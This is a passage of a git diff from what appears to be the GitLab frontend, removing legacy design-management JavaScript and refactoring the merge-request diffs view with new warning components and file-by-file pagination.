- },
- children: [
- {
- name: DESIGN_ROUTE_NAME,
- path: ':id',
- component: DesignDetail,
- meta: {
- el: 'designs',
- },
- beforeEnter(
- {
- params: { id },
- },
- from,
- next,
- ) {
- if (typeof id === 'string') {
- next();
- }
- },
- props: ({ params: { id } }) => ({ id }),
- },
- ],
- },
-];
diff --git a/app/assets/javascripts/design_management_legacy/utils/cache_update.js b/app/assets/javascripts/design_management_legacy/utils/cache_update.js
deleted file mode 100644
index 5ba6f84c413..00000000000
--- a/app/assets/javascripts/design_management_legacy/utils/cache_update.js
+++ /dev/null
@@ -1,276 +0,0 @@
-/* eslint-disable @gitlab/require-i18n-strings */
-
-import { deprecatedCreateFlash as createFlash } from '~/flash';
-import { extractCurrentDiscussion, extractDesign } from './design_management_utils';
-import {
- ADD_IMAGE_DIFF_NOTE_ERROR,
- UPDATE_IMAGE_DIFF_NOTE_ERROR,
- ADD_DISCUSSION_COMMENT_ERROR,
- designDeletionError,
-} from './error_messages';
-
-const deleteDesignsFromStore = (store, query, selectedDesigns) => {
- const data = store.readQuery(query);
-
- const changedDesigns = data.project.issue.designCollection.designs.edges.filter(
- ({ node }) => !selectedDesigns.includes(node.filename),
- );
- data.project.issue.designCollection.designs.edges = [...changedDesigns];
-
- store.writeQuery({
- ...query,
- data,
- });
-};
-
-/**
- * Adds a new version of designs to store
- *
- * @param {Object} store
- * @param {Object} query
- * @param {Object} version
- */
-const addNewVersionToStore = (store, query, version) => {
- if (!version) return;
-
- const data = store.readQuery(query);
- const newEdge = { node: version, __typename: 'DesignVersionEdge' };
-
- data.project.issue.designCollection.versions.edges = [
- newEdge,
- ...data.project.issue.designCollection.versions.edges,
- ];
-
- store.writeQuery({
- ...query,
- data,
- });
-};
-
-const addDiscussionCommentToStore = (store, createNote, query, queryVariables, discussionId) => {
- const data = store.readQuery({
- query,
- variables: queryVariables,
- });
-
- const design = extractDesign(data);
- const currentDiscussion = extractCurrentDiscussion(design.discussions, discussionId);
- currentDiscussion.notes.nodes = [...currentDiscussion.notes.nodes, createNote.note];
-
- design.notesCount += 1;
- if (
- !design.issue.participants.edges.some(
- participant => participant.node.username === createNote.note.author.username,
- )
- ) {
- design.issue.participants.edges = [
- ...design.issue.participants.edges,
- {
- __typename: 'UserEdge',
- node: {
- __typename: 'User',
- ...createNote.note.author,
- },
- },
- ];
- }
- store.writeQuery({
- query,
- variables: queryVariables,
- data: {
- ...data,
- design: {
- ...design,
- },
- },
- });
-};
-
-const addImageDiffNoteToStore = (store, createImageDiffNote, query, variables) => {
- const data = store.readQuery({
- query,
- variables,
- });
- const newDiscussion = {
- __typename: 'Discussion',
- id: createImageDiffNote.note.discussion.id,
- replyId: createImageDiffNote.note.discussion.replyId,
- resolvable: true,
- resolved: false,
- resolvedAt: null,
- resolvedBy: null,
- notes: {
- __typename: 'NoteConnection',
- nodes: [createImageDiffNote.note],
- },
- };
- const design = extractDesign(data);
- const notesCount = design.notesCount + 1;
- design.discussions.nodes = [...design.discussions.nodes, newDiscussion];
- if (
- !design.issue.participants.edges.some(
- participant => participant.node.username === createImageDiffNote.note.author.username,
- )
- ) {
- design.issue.participants.edges = [
- ...design.issue.participants.edges,
- {
- __typename: 'UserEdge',
- node: {
- __typename: 'User',
- ...createImageDiffNote.note.author,
- },
- },
- ];
- }
- store.writeQuery({
- query,
- variables,
- data: {
- ...data,
- design: {
- ...design,
- notesCount,
- },
- },
- });
-};
-
-const updateImageDiffNoteInStore = (store, updateImageDiffNote, query, variables) => {
- const data = store.readQuery({
- query,
- variables,
- });
-
- const design = extractDesign(data);
- const discussion = extractCurrentDiscussion(
- design.discussions,
- updateImageDiffNote.note.discussion.id,
- );
-
- discussion.notes = {
- ...discussion.notes,
- nodes: [updateImageDiffNote.note, ...discussion.notes.nodes.slice(1)],
- };
-
- store.writeQuery({
- query,
- variables,
- data: {
- ...data,
- design,
- },
- });
-};
-
-const addNewDesignToStore = (store, designManagementUpload, query) => {
- const data = store.readQuery(query);
-
- const newDesigns = data.project.issue.designCollection.designs.edges.reduce((acc, design) => {
- if (!acc.find(d => d.filename === design.node.filename)) {
- acc.push(design.node);
- }
-
- return acc;
- }, designManagementUpload.designs);
-
- let newVersionNode;
- const findNewVersions = designManagementUpload.designs.find(design => design.versions);
-
- if (findNewVersions) {
- const findNewVersionsEdges = findNewVersions.versions.edges;
-
- if (findNewVersionsEdges && findNewVersionsEdges.length) {
- newVersionNode = [findNewVersionsEdges[0]];
- }
- }
-
- const newVersions = [
- ...(newVersionNode || []),
- ...data.project.issue.designCollection.versions.edges,
- ];
-
- const updatedDesigns = {
- __typename: 'DesignCollection',
- designs: {
- __typename: 'DesignConnection',
- edges: newDesigns.map(design => ({
- __typename: 'DesignEdge',
- node: design,
- })),
- },
- versions: {
- __typename: 'DesignVersionConnection',
- edges: newVersions,
- },
- };
-
- data.project.issue.designCollection = updatedDesigns;
-
- store.writeQuery({
- ...query,
- data,
- });
-};
-
-const onError = (data, message) => {
- createFlash(message);
- throw new Error(data.errors);
-};
-
-export const hasErrors = ({ errors = [] }) => errors?.length;
-
-/**
- * Updates a store after design deletion
- *
- * @param {Object} store
- * @param {Object} data
- * @param {Object} query
- * @param {Array} designs
- */
-export const updateStoreAfterDesignsDelete = (store, data, query, designs) => {
- if (hasErrors(data)) {
- onError(data, designDeletionError({ singular: designs.length === 1 }));
- } else {
- deleteDesignsFromStore(store, query, designs);
- addNewVersionToStore(store, query, data.version);
- }
-};
-
-export const updateStoreAfterAddDiscussionComment = (
- store,
- data,
- query,
- queryVariables,
- discussionId,
-) => {
- if (hasErrors(data)) {
- onError(data, ADD_DISCUSSION_COMMENT_ERROR);
- } else {
- addDiscussionCommentToStore(store, data, query, queryVariables, discussionId);
- }
-};
-
-export const updateStoreAfterAddImageDiffNote = (store, data, query, queryVariables) => {
- if (hasErrors(data)) {
- onError(data, ADD_IMAGE_DIFF_NOTE_ERROR);
- } else {
- addImageDiffNoteToStore(store, data, query, queryVariables);
- }
-};
-
-export const updateStoreAfterUpdateImageDiffNote = (store, data, query, queryVariables) => {
- if (hasErrors(data)) {
- onError(data, UPDATE_IMAGE_DIFF_NOTE_ERROR);
- } else {
- updateImageDiffNoteInStore(store, data, query, queryVariables);
- }
-};
-
-export const updateStoreAfterUploadDesign = (store, data, query) => {
- if (hasErrors(data)) {
- onError(data, data.errors[0]);
- } else {
- addNewDesignToStore(store, data, query);
- }
-};
diff --git a/app/assets/javascripts/design_management_legacy/utils/design_management_utils.js b/app/assets/javascripts/design_management_legacy/utils/design_management_utils.js
deleted file mode 100644
index 22705cf67a1..00000000000
--- a/app/assets/javascripts/design_management_legacy/utils/design_management_utils.js
+++ /dev/null
@@ -1,128 +0,0 @@
-import { uniqueId } from 'lodash';
-import { VALID_DESIGN_FILE_MIMETYPE } from '../constants';
-
-export const isValidDesignFile = ({ type }) =>
- (type.match(VALID_DESIGN_FILE_MIMETYPE.regex) || []).length > 0;
-
-/**
- * Returns formatted array that doesn't contain
- * `edges`->`node` nesting
- *
- * @param {Array} elements
- */
-
-export const extractNodes = elements => elements.edges.map(({ node }) => node);
-
-/**
- * Returns formatted array of discussions that doesn't contain
- * `edges`->`node` nesting for child notes
- *
- * @param {Array} discussions
- */
-
-export const extractDiscussions = discussions =>
- discussions.nodes.map((discussion, index) => ({
- ...discussion,
- index: index + 1,
- notes: discussion.notes.nodes,
- }));
-
-/**
- * Returns a discussion with the given id from discussions array
- *
- * @param {Array} discussions
- */
-
-export const extractCurrentDiscussion = (discussions, id) =>
- discussions.nodes.find(discussion => discussion.id === id);
-
-export const findVersionId = id => (id.match('::Version/(.+$)') || [])[1];
-
-export const findNoteId = id => (id.match('DiffNote/(.+$)') || [])[1];
-
-export const extractDesigns = data => data.project.issue.designCollection.designs.edges;
-
-export const extractDesign = data => (extractDesigns(data) || [])[0]?.node;
-
-/**
- * Generates optimistic response for a design upload mutation
- * @param {Array<File>} files
- */
-export const designUploadOptimisticResponse = files => {
- const designs = files.map(file => ({
- // False positive i18n lint: https://gitlab.com/gitlab-org/frontend/eslint-plugin-i18n/issues/26
- // eslint-disable-next-line @gitlab/require-i18n-strings
- __typename: 'Design',
- id: -uniqueId(),
- image: '',
- imageV432x230: '',
- filename: file.name,
- fullPath: '',
- notesCount: 0,
- event: 'NONE',
- diffRefs: {
- __typename: 'DiffRefs',
- baseSha: '',
- startSha: '',
- headSha: '',
- },
- discussions: {
- __typename: 'DesignDiscussion',
- nodes: [],
- },
- versions: {
- __typename: 'DesignVersionConnection',
- edges: {
- __typename: 'DesignVersionEdge',
- node: {
- __typename: 'DesignVersion',
- id: -uniqueId(),
- sha: -uniqueId(),
- },
- },
- },
- }));
-
- return {
- // False positive i18n lint: https://gitlab.com/gitlab-org/frontend/eslint-plugin-i18n/issues/26
- // eslint-disable-next-line @gitlab/require-i18n-strings
- __typename: 'Mutation',
- designManagementUpload: {
- __typename: 'DesignManagementUploadPayload',
- designs,
- skippedDesigns: [],
- errors: [],
- },
- };
-};
-
-/**
- * Generates optimistic response for a design upload mutation
- * @param {Array<File>} files
- */
-export const updateImageDiffNoteOptimisticResponse = (note, { position }) => ({
- // False positive i18n lint: https://gitlab.com/gitlab-org/frontend/eslint-plugin-i18n/issues/26
- // eslint-disable-next-line @gitlab/require-i18n-strings
- __typename: 'Mutation',
- updateImageDiffNote: {
- __typename: 'UpdateImageDiffNotePayload',
- note: {
- ...note,
- position: {
- ...note.position,
- ...position,
- },
- },
- errors: [],
- },
-});
-
-const normalizeAuthor = author => ({
- ...author,
- web_url: author.webUrl,
- avatar_url: author.avatarUrl,
-});
-
-export const extractParticipants = users => users.edges.map(({ node }) => normalizeAuthor(node));
-
-export const getPageLayoutElement = () => document.querySelector('.layout-page');
diff --git a/app/assets/javascripts/design_management_legacy/utils/error_messages.js b/app/assets/javascripts/design_management_legacy/utils/error_messages.js
deleted file mode 100644
index 7666c726c2f..00000000000
--- a/app/assets/javascripts/design_management_legacy/utils/error_messages.js
+++ /dev/null
@@ -1,95 +0,0 @@
-import { __, s__, n__, sprintf } from '~/locale';
-
-export const ADD_DISCUSSION_COMMENT_ERROR = s__(
- 'DesignManagement|Could not add a new comment. Please try again.',
-);
-
-export const ADD_IMAGE_DIFF_NOTE_ERROR = s__(
- 'DesignManagement|Could not create new discussion. Please try again.',
-);
-
-export const UPDATE_IMAGE_DIFF_NOTE_ERROR = s__(
- 'DesignManagement|Could not update discussion. Please try again.',
-);
-
-export const UPDATE_NOTE_ERROR = s__('DesignManagement|Could not update note. Please try again.');
-
-export const UPLOAD_DESIGN_ERROR = s__(
- 'DesignManagement|Error uploading a new design. Please try again.',
-);
-
-export const UPLOAD_DESIGN_INVALID_FILETYPE_ERROR = __(
- 'Could not upload your designs as one or more files uploaded are not supported.',
-);
-
-export const DESIGN_NOT_FOUND_ERROR = __('Could not find design.');
-
-export const DESIGN_VERSION_NOT_EXIST_ERROR = __('Requested design version does not exist.');
-
-const DESIGN_UPLOAD_SKIPPED_MESSAGE = s__('DesignManagement|Upload skipped.');
-
-const ALL_DESIGNS_SKIPPED_MESSAGE = `${DESIGN_UPLOAD_SKIPPED_MESSAGE} ${s__(
- 'The designs you tried uploading did not change.',
-)}`;
-
-export const EXISTING_DESIGN_DROP_MANY_FILES_MESSAGE = __(
- 'You can only upload one design when dropping onto an existing design.',
-);
-
-export const EXISTING_DESIGN_DROP_INVALID_FILENAME_MESSAGE = __(
- 'You must upload a file with the same file name when dropping onto an existing design.',
-);
-
-const MAX_SKIPPED_FILES_LISTINGS = 5;
-
-const oneDesignSkippedMessage = filename =>
- `${DESIGN_UPLOAD_SKIPPED_MESSAGE} ${sprintf(s__('DesignManagement|%{filename} did not change.'), {
- filename,
- })}`;
-
-/**
- * Return warning message indicating that some (but not all) uploaded
- * files were skipped.
- * @param {Array<{ filename }>} skippedFiles
- */
-const someDesignsSkippedMessage = skippedFiles => {
- const designsSkippedMessage = `${DESIGN_UPLOAD_SKIPPED_MESSAGE} ${s__(
- 'Some of the designs you tried uploading did not change:',
- )}`;
-
- const moreText = sprintf(s__(`DesignManagement|and %{moreCount} more.`), {
- moreCount: skippedFiles.length - MAX_SKIPPED_FILES_LISTINGS,
- });
-
- return `${designsSkippedMessage} ${skippedFiles
- .slice(0, MAX_SKIPPED_FILES_LISTINGS)
- .map(({ filename }) => filename)
- .join(', ')}${skippedFiles.length > MAX_SKIPPED_FILES_LISTINGS ? `, ${moreText}` : '.'}`;
-};
-
-export const designDeletionError = ({ singular = true } = {}) => {
- const design = singular ? __('a design') : __('designs');
- return sprintf(s__('Could not delete %{design}. Please try again.'), {
- design,
- });
-};
-
-/**
- * Return warning message, if applicable, that one, some or all uploaded
- * files were skipped.
- * @param {Array<{ filename }>} uploadedDesigns
- * @param {Array<{ filename }>} skippedFiles
- */
-export const designUploadSkippedWarning = (uploadedDesigns, skippedFiles) => {
- if (skippedFiles.length === 0) {
- return null;
- }
-
- if (skippedFiles.length === uploadedDesigns.length) {
- const { filename } = skippedFiles[0];
-
- return n__(oneDesignSkippedMessage(filename), ALL_DESIGNS_SKIPPED_MESSAGE, skippedFiles.length);
- }
-
- return someDesignsSkippedMessage(skippedFiles);
-};
diff --git a/app/assets/javascripts/design_management_legacy/utils/tracking.js b/app/assets/javascripts/design_management_legacy/utils/tracking.js
deleted file mode 100644
index b3ecc1453a6..00000000000
--- a/app/assets/javascripts/design_management_legacy/utils/tracking.js
+++ /dev/null
@@ -1,27 +0,0 @@
-import Tracking from '~/tracking';
-
-// Tracking Constants
-const DESIGN_TRACKING_CONTEXT_SCHEMA = 'iglu:com.gitlab/design_management_context/jsonschema/1-0-0';
-const DESIGN_TRACKING_PAGE_NAME = 'projects:issues:design';
-const DESIGN_TRACKING_EVENT_NAME = 'view_design';
-
-// eslint-disable-next-line import/prefer-default-export
-export function trackDesignDetailView(
- referer = '',
- owner = '',
- designVersion = 1,
- latestVersion = false,
-) {
- Tracking.event(DESIGN_TRACKING_PAGE_NAME, DESIGN_TRACKING_EVENT_NAME, {
- label: DESIGN_TRACKING_EVENT_NAME,
- context: {
- schema: DESIGN_TRACKING_CONTEXT_SCHEMA,
- data: {
- 'design-version-number': designVersion,
- 'design-is-current-version': latestVersion,
- 'internal-object-referrer': referer,
- 'design-collection-owner': owner,
- },
- },
- });
-}
diff --git a/app/assets/javascripts/diff_notes/components/jump_to_discussion.js b/app/assets/javascripts/diff_notes/components/jump_to_discussion.js
index 0991f5282a8..1de00c9f08b 100644
--- a/app/assets/javascripts/diff_notes/components/jump_to_discussion.js
+++ b/app/assets/javascripts/diff_notes/components/jump_to_discussion.js
@@ -2,6 +2,7 @@
/* global CommentsStore */
import $ from 'jquery';
+import 'vendor/jquery.scrollTo';
import Vue from 'vue';
import { __ } from '~/locale';
diff --git a/app/assets/javascripts/diffs/components/app.vue b/app/assets/javascripts/diffs/components/app.vue
index 5062006424e..dd5addbf1e3 100644
--- a/app/assets/javascripts/diffs/components/app.vue
+++ b/app/assets/javascripts/diffs/components/app.vue
@@ -1,6 +1,6 @@
<script>
import { mapState, mapGetters, mapActions } from 'vuex';
-import { GlLoadingIcon, GlButtonGroup, GlButton, GlAlert } from '@gitlab/ui';
+import { GlLoadingIcon, GlPagination, GlSprintf } from '@gitlab/ui';
import Mousetrap from 'mousetrap';
import { __ } from '~/locale';
import { getParameterByName, parseBoolean } from '~/lib/utils/common_utils';
@@ -13,9 +13,13 @@ import eventHub from '../../notes/event_hub';
import CompareVersions from './compare_versions.vue';
import DiffFile from './diff_file.vue';
import NoChanges from './no_changes.vue';
-import HiddenFilesWarning from './hidden_files_warning.vue';
import CommitWidget from './commit_widget.vue';
import TreeList from './tree_list.vue';
+
+import HiddenFilesWarning from './hidden_files_warning.vue';
+import MergeConflictWarning from './merge_conflict_warning.vue';
+import CollapsedFilesWarning from './collapsed_files_warning.vue';
+
import {
TREE_LIST_WIDTH_STORAGE_KEY,
INITIAL_TREE_WIDTH,
@@ -24,6 +28,9 @@ import {
TREE_HIDE_STATS_WIDTH,
MR_TREE_SHOW_KEY,
CENTERED_LIMITED_CONTAINER_CLASSES,
+ ALERT_OVERFLOW_HIDDEN,
+ ALERT_MERGE_CONFLICT,
+ ALERT_COLLAPSED_FILES,
} from '../constants';
export default {
@@ -33,15 +40,21 @@ export default {
DiffFile,
NoChanges,
HiddenFilesWarning,
+ MergeConflictWarning,
+ CollapsedFilesWarning,
CommitWidget,
TreeList,
GlLoadingIcon,
PanelResizer,
- GlButtonGroup,
- GlButton,
- GlAlert,
+ GlPagination,
+ GlSprintf,
},
mixins: [glFeatureFlagsMixin()],
+ alerts: {
+ ALERT_OVERFLOW_HIDDEN,
+ ALERT_MERGE_CONFLICT,
+ ALERT_COLLAPSED_FILES,
+ },
props: {
endpoint: {
type: String,
@@ -111,6 +124,7 @@ export default {
return {
treeWidth,
diffFilesLength: 0,
+ collapsedWarningDismissed: false,
};
},
computed: {
@@ -139,7 +153,7 @@ export default {
'canMerge',
'hasConflicts',
]),
- ...mapGetters('diffs', ['isParallelView', 'currentDiffIndex']),
+ ...mapGetters('diffs', ['hasCollapsedFile', 'isParallelView', 'currentDiffIndex']),
...mapGetters(['isNotesFetched', 'getNoteableData']),
diffs() {
if (!this.viewDiffsFileByFile) {
@@ -169,6 +183,39 @@ export default {
isDiffHead() {
return parseBoolean(getParameterByName('diff_head'));
},
+ showFileByFileNavigation() {
+ return this.diffFiles.length > 1 && this.viewDiffsFileByFile;
+ },
+ currentFileNumber() {
+ return this.currentDiffIndex + 1;
+ },
+ previousFileNumber() {
+ const { currentDiffIndex } = this;
+
+ return currentDiffIndex >= 1 ? currentDiffIndex : null;
+ },
+ nextFileNumber() {
+ const { currentFileNumber, diffFiles } = this;
+
+ return currentFileNumber < diffFiles.length ? currentFileNumber + 1 : null;
+ },
+ visibleWarning() {
+ let visible = false;
+
+ if (this.renderOverflowWarning) {
+ visible = this.$options.alerts.ALERT_OVERFLOW_HIDDEN;
+ } else if (this.isDiffHead && this.hasConflicts) {
+ visible = this.$options.alerts.ALERT_MERGE_CONFLICT;
+ } else if (
+ this.hasCollapsedFile &&
+ !this.collapsedWarningDismissed &&
+ !this.viewDiffsFileByFile
+ ) {
+ visible = this.$options.alerts.ALERT_COLLAPSED_FILES;
+ }
+
+ return visible;
+ },
},
watch: {
commit(newCommit, oldCommit) {
@@ -186,7 +233,7 @@ export default {
}
},
diffViewType() {
- if (this.needsReload() || this.needsFirstLoad()) {
+ if (!this.glFeatures.unifiedDiffLines && (this.needsReload() || this.needsFirstLoad())) {
this.refetchDiffData();
}
this.adjustView();
@@ -212,7 +259,6 @@ export default {
projectPath: this.projectPath,
dismissEndpoint: this.dismissEndpoint,
showSuggestPopover: this.showSuggestPopover,
- useSingleDiffStyle: this.glFeatures.singleMrDiffView,
viewDiffsFileByFile: this.viewDiffsFileByFile,
});
@@ -262,7 +308,6 @@ export default {
...mapActions('diffs', [
'moveToNeighboringCommit',
'setBaseConfig',
- 'fetchDiffFiles',
'fetchDiffFilesMeta',
'fetchDiffFilesBatch',
'fetchCoverageFiles',
@@ -274,6 +319,9 @@ export default {
'toggleShowTreeList',
'navigateToDiffFileIndex',
]),
+ navigateToDiffFileNumber(number) {
+ this.navigateToDiffFileIndex(number - 1);
+ },
refetchDiffData() {
this.fetchData(false);
},
@@ -286,60 +334,35 @@ export default {
);
},
needsReload() {
- return (
- this.glFeatures.singleMrDiffView &&
- this.diffFiles.length &&
- isSingleViewStyle(this.diffFiles[0])
- );
+ return this.diffFiles.length && isSingleViewStyle(this.diffFiles[0]);
},
needsFirstLoad() {
- return this.glFeatures.singleMrDiffView && !this.diffFiles.length;
+ return !this.diffFiles.length;
},
fetchData(toggleTree = true) {
- if (this.glFeatures.diffsBatchLoad) {
- this.fetchDiffFilesMeta()
- .then(({ real_size }) => {
- this.diffFilesLength = parseInt(real_size, 10);
- if (toggleTree) this.hideTreeListIfJustOneFile();
+ this.fetchDiffFilesMeta()
+ .then(({ real_size }) => {
+ this.diffFilesLength = parseInt(real_size, 10);
+ if (toggleTree) this.hideTreeListIfJustOneFile();
- this.startDiffRendering();
- })
- .catch(() => {
- createFlash(__('Something went wrong on our end. Please try again!'));
- });
-
- this.fetchDiffFilesBatch()
- .then(() => {
- // Guarantee the discussions are assigned after the batch finishes.
- // Just watching the length of the discussions or the diff files
- // isn't enough, because with split diff loading, neither will
- // change when loading the other half of the diff files.
- this.setDiscussions();
- })
- .then(() => this.startDiffRendering())
- .catch(() => {
- createFlash(__('Something went wrong on our end. Please try again!'));
- });
- } else {
- this.fetchDiffFiles()
- .then(({ real_size }) => {
- this.diffFilesLength = parseInt(real_size, 10);
- if (toggleTree) {
- this.hideTreeListIfJustOneFile();
- }
+ this.startDiffRendering();
+ })
+ .catch(() => {
+ createFlash(__('Something went wrong on our end. Please try again!'));
+ });
- requestIdleCallback(
- () => {
- this.setDiscussions();
- this.startRenderDiffsQueue();
- },
- { timeout: 1000 },
- );
- })
- .catch(() => {
- createFlash(__('Something went wrong on our end. Please try again!'));
- });
- }
+ this.fetchDiffFilesBatch()
+ .then(() => {
+ // Guarantee the discussions are assigned after the batch finishes.
+ // Just watching the length of the discussions or the diff files
+ // isn't enough, because with split diff loading, neither will
+ // change when loading the other half of the diff files.
+ this.setDiscussions();
+ })
+ .then(() => this.startDiffRendering())
+ .catch(() => {
+ createFlash(__('Something went wrong on our end. Please try again!'));
+ });
if (this.endpointCoverage) {
this.fetchCoverageFiles();
@@ -406,6 +429,9 @@ export default {
this.toggleShowTreeList(false);
}
},
+ dismissCollapsedWarning() {
+ this.collapsedWarningDismissed = true;
+ },
},
minTreeWidth: MIN_TREE_WIDTH,
maxTreeWidth: MAX_TREE_WIDTH,
@@ -423,59 +449,27 @@ export default {
/>
<hidden-files-warning
- v-if="renderOverflowWarning"
+ v-if="visibleWarning == $options.alerts.ALERT_OVERFLOW_HIDDEN"
:visible="numVisibleFiles"
:total="numTotalFiles"
:plain-diff-path="plainDiffPath"
:email-patch-path="emailPatchPath"
/>
-
- <div
- v-if="isDiffHead && hasConflicts"
- :class="{
- [CENTERED_LIMITED_CONTAINER_CLASSES]: isLimitedContainer,
- }"
- >
- <gl-alert
- :dismissible="false"
- :title="__('There are merge conflicts')"
- variant="warning"
- class="w-100 mb-3"
- >
- <p class="mb-1">
- {{ __('The comparison view may be inaccurate due to merge conflicts.') }}
- </p>
- <p class="mb-0">
- {{
- __(
- 'Resolve these conflicts or ask someone with write access to this repository to merge it locally.',
- )
- }}
- </p>
- <template #actions>
- <gl-button
- v-if="conflictResolutionPath"
- :href="conflictResolutionPath"
- variant="info"
- class="mr-3 gl-alert-action"
- >
- {{ __('Resolve conflicts') }}
- </gl-button>
- <gl-button
- v-if="canMerge"
- class="gl-alert-action"
- data-toggle="modal"
- data-target="#modal_merge_info"
- >
- {{ __('Merge locally') }}
- </gl-button>
- </template>
- </gl-alert>
- </div>
+ <merge-conflict-warning
+ v-if="visibleWarning == $options.alerts.ALERT_MERGE_CONFLICT"
+ :limited="isLimitedContainer"
+ :resolution-path="conflictResolutionPath"
+ :mergeable="canMerge"
+ />
+ <collapsed-files-warning
+ v-if="visibleWarning == $options.alerts.ALERT_COLLAPSED_FILES"
+ :limited="isLimitedContainer"
+ @dismiss="dismissCollapsedWarning"
+ />
<div
:data-can-create-note="getNoteableData.current_user.can_create_note"
- class="files d-flex"
+ class="files d-flex gl-mt-2"
>
<div
v-if="showTreeList"
@@ -509,23 +503,22 @@ export default {
:can-current-user-fork="canCurrentUserFork"
:view-diffs-file-by-file="viewDiffsFileByFile"
/>
- <div v-if="viewDiffsFileByFile" class="d-flex gl-justify-content-center">
- <gl-button-group>
- <gl-button
- :disabled="currentDiffIndex === 0"
- data-testid="singleFilePrevious"
- @click="navigateToDiffFileIndex(currentDiffIndex - 1)"
- >
- {{ __('Prev') }}
- </gl-button>
- <gl-button
- :disabled="currentDiffIndex === diffFiles.length - 1"
- data-testid="singleFileNext"
- @click="navigateToDiffFileIndex(currentDiffIndex + 1)"
- >
- {{ __('Next') }}
- </gl-button>
- </gl-button-group>
+ <div
+ v-if="showFileByFileNavigation"
+ data-testid="file-by-file-navigation"
+ class="gl-display-grid gl-text-center"
+ >
+ <gl-pagination
+ class="gl-mx-auto"
+ :value="currentFileNumber"
+ :prev-page="previousFileNumber"
+ :next-page="nextFileNumber"
+ @input="navigateToDiffFileNumber"
+ />
+ <gl-sprintf :message="__('File %{current} of %{total}')">
+ <template #current>{{ currentFileNumber }}</template>
+ <template #total>{{ diffFiles.length }}</template>
+ </gl-sprintf>
</div>
</template>
<no-changes v-else :changes-empty-state-illustration="changesEmptyStateIllustration" />
diff --git a/app/assets/javascripts/diffs/components/collapsed_files_warning.vue b/app/assets/javascripts/diffs/components/collapsed_files_warning.vue
new file mode 100644
index 00000000000..dded3643115
--- /dev/null
+++ b/app/assets/javascripts/diffs/components/collapsed_files_warning.vue
@@ -0,0 +1,71 @@
+<script>
+import { mapActions } from 'vuex';
+
+import { GlAlert, GlButton } from '@gitlab/ui';
+
+import { CENTERED_LIMITED_CONTAINER_CLASSES } from '../constants';
+
+export default {
+ components: {
+ GlAlert,
+ GlButton,
+ },
+ props: {
+ limited: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ dismissed: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ data() {
+ return {
+ isDismissed: this.dismissed,
+ };
+ },
+ computed: {
+ containerClasses() {
+ return {
+ [CENTERED_LIMITED_CONTAINER_CLASSES]: this.limited,
+ };
+ },
+ },
+
+ methods: {
+ ...mapActions('diffs', ['expandAllFiles']),
+ dismiss() {
+ this.isDismissed = true;
+ this.$emit('dismiss');
+ },
+ expand() {
+ this.expandAllFiles();
+ this.dismiss();
+ },
+ },
+};
+</script>
+
+<template>
+ <div v-if="!isDismissed" data-testid="root" :class="containerClasses">
+ <gl-alert
+ :dismissible="true"
+ :title="__('Some changes are not shown')"
+ variant="warning"
+ class="gl-mb-5"
+ @dismiss="dismiss"
+ >
+ <p class="gl-mb-0">
+ {{ __('For a faster browsing experience, some files are collapsed by default.') }}
+ </p>
+ <template #actions>
+ <gl-button category="secondary" variant="warning" class="gl-alert-action" @click="expand">
+ {{ __('Expand all files') }}
+ </gl-button>
+ </template>
+ </gl-alert>
+ </div>
+</template>
diff --git a/app/assets/javascripts/diffs/components/commit_item.vue b/app/assets/javascripts/diffs/components/commit_item.vue
index 274a4027e62..23669eecce2 100644
--- a/app/assets/javascripts/diffs/components/commit_item.vue
+++ b/app/assets/javascripts/diffs/components/commit_item.vue
@@ -1,11 +1,11 @@
<script>
+/* eslint-disable vue/no-v-html */
import { mapActions } from 'vuex';
import { GlButtonGroup, GlButton, GlIcon, GlTooltipDirective } from '@gitlab/ui';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
-import Icon from '~/vue_shared/components/icon.vue';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
@@ -39,7 +39,6 @@ import { setUrlParams } from '../../lib/utils/url_utility';
export default {
components: {
UserAvatarLink,
- Icon,
ClipboardButton,
TimeAgoTooltip,
CommitPipelineStatus,
@@ -150,14 +149,13 @@ export default {
<span class="commit-row-message d-block d-sm-none">&middot; {{ commit.short_id }}</span>
- <button
+ <gl-button
v-if="commit.description_html && collapsible"
- class="text-expander js-toggle-button"
- type="button"
+ class="js-toggle-button"
+ size="small"
+ icon="ellipsis_h"
:aria-label="__('Toggle commit description')"
- >
- <icon :size="12" name="ellipsis_h" />
- </button>
+ />
<div class="committer">
<a
diff --git a/app/assets/javascripts/diffs/components/compare_dropdown_layout.vue b/app/assets/javascripts/diffs/components/compare_dropdown_layout.vue
index ed4edabd81c..8263e938e69 100644
--- a/app/assets/javascripts/diffs/components/compare_dropdown_layout.vue
+++ b/app/assets/javascripts/diffs/components/compare_dropdown_layout.vue
@@ -1,10 +1,10 @@
<script>
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import TimeAgo from '~/vue_shared/components/time_ago_tooltip.vue';
export default {
components: {
- Icon,
+ GlIcon,
TimeAgo,
},
props: {
@@ -29,7 +29,7 @@ export default {
aria-expanded="false"
>
<span> {{ selectedVersionName }} </span>
- <icon :size="12" name="angle-down" class="position-absolute" />
+ <gl-icon :size="12" name="angle-down" class="position-absolute" />
</a>
<div class="dropdown-menu dropdown-select dropdown-menu-selectable">
<div class="dropdown-content">
diff --git a/app/assets/javascripts/diffs/components/compare_versions.vue b/app/assets/javascripts/diffs/components/compare_versions.vue
index 35e4527af69..b94874c5644 100644
--- a/app/assets/javascripts/diffs/components/compare_versions.vue
+++ b/app/assets/javascripts/diffs/components/compare_versions.vue
@@ -1,9 +1,8 @@
<script>
import { mapActions, mapGetters, mapState } from 'vuex';
-import { GlTooltipDirective, GlLink, GlDeprecatedButton, GlSprintf } from '@gitlab/ui';
+import { GlTooltipDirective, GlLink, GlButton, GlSprintf } from '@gitlab/ui';
import { __ } from '~/locale';
import { polyfillSticky } from '~/lib/utils/sticky';
-import Icon from '~/vue_shared/components/icon.vue';
import CompareDropdownLayout from './compare_dropdown_layout.vue';
import SettingsDropdown from './settings_dropdown.vue';
import DiffStats from './diff_stats.vue';
@@ -12,9 +11,8 @@ import { CENTERED_LIMITED_CONTAINER_CLASSES } from '../constants';
export default {
components: {
CompareDropdownLayout,
- Icon,
GlLink,
- GlDeprecatedButton,
+ GlButton,
GlSprintf,
SettingsDropdown,
DiffStats,
@@ -84,18 +82,15 @@ export default {
